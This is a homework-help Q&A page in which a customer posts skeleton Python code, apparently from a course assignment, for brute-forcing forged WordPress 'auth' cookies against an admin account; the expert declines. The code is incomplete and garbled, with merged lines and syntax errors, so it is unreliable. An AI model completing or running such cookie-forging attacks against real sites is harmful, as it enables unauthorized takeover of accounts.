How JustAnswer Works:
  • Ask an Expert
    Experts are full of valuable knowledge and are ready to help with any question. Credentials confirmed by a Fortune 500 verification firm.
  • Get a Professional Answer
    Via email, text message, or notification as you wait on our site.
    Ask follow up questions if you need to.
  • 100% Satisfaction Guarantee
    Rate the answer you receive.
Ask Scott Your Own Question
Scott, MIT Graduate
Category: Homework
Satisfied Customers: 3040
Experience:  MIT Graduate (Math, Programming, Science, and Music)
Type Your Homework Question Here...
Scott is online now
A new question is answered every 9 seconds

Logic pro are you available to write a python scripts that

Customer Question

Hi logic pro are you available to write a python scripts that interacts with wordpress site. i can provide you with the enecessry details. I have attached the instruction and the skeleton code.
Submitted: 1 year ago.
Category: Homework
Customer: replied 1 year ago.
If you have any question, I can answer. and this is what i have so far.
I just started it.#!/usr/bin/python# ***** into BeautifulSoup as an HTML parser
from bs4 import BeautifulSoup#Look into httplib2 and urllib for your HTTP requests
import hmac, hashlib, string, sys, getopt, httplib2, urllib# ***** the request to the target application and parse the response for a valid
# ***** cookie
def wp_request(cookie_val):# ***** generates a WP hash as WordPress does
# ***** 1932 -
def wp_hash(data, key, salt):
salt = key + salt
hash =, data, hashlib.md5).hexdigest()
return hash# ***** all possible password ***** - this doesn't need to be a function but may help, possibly return an array of all values?
def generate_password_fragments(length = 10, special_chars = True, extra_special_chars = True ):
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
if special_chars :
chars += '!@#$%^&*()'
if extra_special_chars :
chars += '-_ []{}~`+=,.;:/?|'
password_fragments = []
for i in range(100): # ***** many password ***** we need to make?
password = ''
for j in range(length):
password += chars[randam.randint(0,len(chars)-1)]
password_fragment.append(password)return password_fragment# ***** and test all possible auth cookies for the given user
def attack(username, expiration, pass_frag, key, salt, target):
scheme = 'auth' # ***** auth scheme for wp
pass_frag = [] # ***** to populate with possible password *****
pass_frag = generate_password_fragments()cookie_id = '' # ***** is the name of the cookie, or the key. Review the following to see how this is generated: = 0 # ***** counter
# ***** through all of your password ***** and build the auth cookie
for frag in pass_frag:key = '' # ***** wp_generate_auth_cookie
hash = '' # ***** wp_generate_auth_cookie
cookie = '' # ***** is the acutal cookie value that we'll use in the HTTP header. The format is define in wp_generate_auth_cookie
wp_request(cookie) #test the cookie
i+=1print ('\n[+] Attack Complete');def main(argv):
username = 'admin' # ***** username
pass_frag = ''
expiration = '1577836800' # ***** date (1/1/2020)
key = ''
salt = ''
Expert:  LogicPro replied 1 year ago.

Friend, I have not worked on such interfaces. I am out of ideas and opting out for other Professionals to answer. Please wait. You will be notified by email as soon as any Professional joins you.

I greatly appreciate the request and would be happy to help you with your other questions though.

Thank you for your patience.

Related Homework Questions